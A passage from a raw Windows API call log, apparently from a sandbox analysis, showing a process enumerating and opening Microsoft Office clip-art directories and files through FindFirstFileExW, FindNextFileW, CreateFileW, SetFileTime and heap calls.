cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0071.430] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa241400, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa241400, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0071.431] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0071.522] GetLastError () returned 0x12 [0071.522] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0071.522] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0071.522] GetLastError () returned 0x12 [0071.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25850) returned 1 [0071.523] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0071.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa257c8) returned 1 [0071.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0071.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0071.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0071.563] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0071.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa781f8 [0071.563] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa781f8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa781f8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0071.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa781f8) returned 1 [0071.563] NtClose (Handle=0x124) returned 0x0 [0071.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0071.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0071.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa257c8 [0071.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25850 [0071.563] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0071.563] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.563] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="")) returned 1 [0071.563] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="")) returned 0 [0071.563] GetLastError () returned 0x12 [0071.564] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0071.564] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0071.564] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.564] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="")) returned 1 [0071.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.564] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0071.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0071.564] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0071.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa781f8 [0071.564] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa781f8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa781f8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0071.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa781f8) returned 1 [0071.564] NtClose (Handle=0x124) returned 0x0 [0071.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa74d70 [0071.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0071.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22308 [0071.565] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0071.750] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.750] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0071.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22410 [0071.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa74d70) returned 1 [0071.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d408 [0071.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22518 [0071.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.750] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0071.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d428 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22e60 [0071.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.751] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d448 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23070 [0071.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.751] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.751] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.751] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d468 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22f68 [0071.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.752] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d488 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23388 [0071.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.752] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25740 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5d4a8 [0071.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa23490 [0071.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25740) returned 1 [0071.753] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, 